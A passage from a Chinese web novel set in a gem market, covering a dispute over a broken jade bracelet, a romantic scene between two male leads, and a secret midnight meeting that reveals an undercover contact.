提夸点点头,“谢谢你利鲁,我明白了。” 叫利鲁的小商贩又跑出去,蹲在门口看戏。 提夸笑笑,用英文说:“约瑟夫先生,我们这个市场呢是绝对公平公正的。但你今天可能遇到了运气不好的事情,在穆雅马,这是不可避免的!” 把有人偷东西说成运气不好,柳之杨眯了眯眼,这是浑水摸鱼不想追究了。 约瑟夫“哼”了一声,问:“现在我可以走了吗?” 提夸让他稍安勿躁,用穆雅马语对柳之杨说:“柳理事,您给我个面子,这样,让他赔你百分之二十怎么样?” 接着,他迅速切换成中文:“我和这老外说百分之三十,您可以从中赚百分之十。” ……真是个和稀泥高手。 “你他妈从哪里冒出来的?”未见其人先闻其声,甘川慢悠悠地从二楼下来了。 这是提夸第一次见甘川:男人像只狮子一样,看着慵懒随意,实则眼神锐利,那双浅瞳色的眼睛压迫感十足。 和传说中一模一样。 甘川晃悠到他面前:“今天在我店里摔碎一个玉镯只用赔百分之二十,明天老子店里所有东西都会被砸了。反正只用赔百分之二十嘛!!” 甘川说着,一把拍上提夸的肩,吓得提夸猛地一抖。 提夸冷汗直冒,笑问:“甘总,那你看,怎么处理?” 甘川把他推开,走到约瑟夫面前。 他比约瑟夫还要高一些,骨架又大,压迫得约瑟夫一时说不出话。 “这镯子你按进价赔给我,七万,对你来说不多。” 甘川说完,看向愣在一旁的王欣,“翻译啊妹妹,招你发呆来了?” 王欣怕他怕得要死,忙磕磕碰碰地翻译出来。 约瑟夫没答,喘着气盯着甘川,似乎在思考。 甘川说:“哎呦你他妈还想什么?我告诉你,打官司的话,任你什么比国人,你火星人都是老子占理。一个玉镯都拿不住,你他妈下次来之前吃点补肾的药吧。” 他十句话九句话都在骂人,王欣剔除了不好的词汇,翻译给约瑟夫。 半分钟后,约瑟夫问:“可以用银联吗?” …… 约瑟夫付了钱,气冲冲地离开了甘川档口。 他确实不差这七万块,但他就是不爽为其他人的错误买单,明明是有人撞了他!这些穆雅马的奸商们! “约瑟夫先生,约瑟夫先生?” 刚走到住宿楼下,他听见身后传来小声呼喊。 转头,是那个监管提夸。 提夸走到他面前,愤怒地说:“先生,我本来只打算让您赔偿百分之二十的!后面来那人是老板,他不听我的啊!” 约瑟夫说:“他真是太无理了!” 提夸抬手给他顺气,说:“别气别气,你既然来我们市场,就是贵客!我自掏腰包赔你三万,算是交个朋友!” “这怎么行!”约瑟夫连忙拒绝。 “不行不行,一定要给你。”提夸说归说,手上一点拿钱的意思都没有。 但约瑟夫没发现,他甚至被提夸感动了:“你真是好人啊监管,我总是听他们说穆雅马人都很坏,但你是好人啊!” 提夸笑笑说:“我可不是穆雅马人,我是华国人。” 约瑟夫说:“华国人最好了,我去过华国,人们都很友善!” “是吗?!” 二人又聊了几句,临别时,已经相见恨晚十年知己了。 约瑟夫握着提夸的手,说出了来红品市场的目的:他妻子快要生日,他想给妻子买个宝石作为礼物。 提夸眼睛一转,说:“约瑟夫,一个礼物要亲手准备才能显得用心啊!这些宝石都是经过人工雕刻的,你都来穆雅马了,直接买一个,不够有诚意。” 约瑟夫说:“可我总不可能亲自下矿去挖吧!” 提夸说:“你可以亲自去市场里开一块翡翠石啊!” …… 王欣打扫好柜台,把碎了的手镯包好,来到一楼后院。 太阳西下,余晖铺满后院。 柳之杨在抽烟,夕阳为他铺上一层光辉,看见王欣来,他用皮鞋踩灭了烟。 王欣低着头,把包着玉镯的布包递给柳之杨:“理事,对不起,是我没看好,对不起。” 柳之杨把布包搁在一旁石桌上,说:“没关系。 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甘川把烟夹在手里,也半蹲下身,和王欣齐平:“妹妹,你既然来了穆雅马,好好待着,别有别的想法。” 他这话意思很多。 柳之杨给王欣一个眼神,王欣连忙跑了。 柳之杨瞟了一眼甘川。 甘川也在悄悄看柳之杨,见他看过来,立刻移开眼神,满脸愁容的样子,还装模作样地叹了口气。 柳之杨轻笑了一下,“你吃什么飞醋?” 甘川急了:“人家都抱你怀里了我还不能吃醋!他妈的要睡你床上老子才能吃醋吗?” “只是个小妹妹,你别吓她。” “哎呦我们柳理事真是个大圣人呐,”甘川看着他,“救这个救那个的,怎么偏偏对我这么刻薄?” “……我哪有。” “你白天向着那个蠢猪沈佳瑞,晚上又抱、抱那什么王欣,你他妈有这样抱过我吗?你就是需要我的时候才抱我,不要我的时候从来……” 柳之杨往前一步,轻轻抱住甘川。 “哎呦。”甘川发出满意的叹息,随后又发现自己变得太快,往后撤了一步。 柳之杨笑笑,又上前,再次把人拥入怀中。 甘川怕压到他的伤,还想往后撤,被柳之杨牢牢抱住。 “哥,”柳之杨在他耳边轻声说,“你不是可有可无。” 你是我在这个世界上的唯一。 话太肉麻,柳之杨没有说出口,只把头埋进甘川颈侧。 可这个世界,还有好多人把我当成他们的唯一。 甘川的心脏坚实跳动,柳之杨心却像是被分成了两半。 …… 凌晨十二点半,柳之杨在床上睁开眼。 身旁的甘川睡得很沉,嘴半张着,很滑稽。 柳之杨勾了勾唇,轻巧下床,坐在床边穿鞋时,腰忽然被从后抱住。 甘川把头靠在他后腰,半梦半醒地问:“去哪儿?亲爱的……” “厕所。” 甘川闷声说:“谁让你,晚上喝那么多水,的。” “你快睡吧,我很快回来。” 甘川已经睡着了。 柳之杨轻轻掰开他放在自己腰上的手,帮人盖好被子,离开了。 由于看宝石需要自然光,所以一到晚上,红品市场就沉寂了下来,路上一个人都没有。 来自旁边山里的风吹得有些冷,柳之杨穿了一身黑色运动套装,戴好黑色口罩,打开后门,往巷子赶去。 他很谨慎,只走屋檐下的阴影处,每走十步就回头确认没有人跟着。 五分钟后,他闪身进入巷子。 巷子里很黑,但尽头处有一束月光照到地上。 月光边上,站着个人,张头张脑地等待。 柳之杨走过去。 很快,他发现那人身形很熟悉。 那人似乎有所感觉,往前走了一步,月光照亮他的脸。 是提夸。 柳之杨低头,脚步一转就往巷子外走。 走了几步,他意识到不对劲。 “警官?”提夸悄声喊他。 ……所以,提夸就是吴正义。 柳之杨僵在原地,一时不知道走还是留。 可下一秒,提夸,或者叫吴正义说道: “柳理事,是你吗?”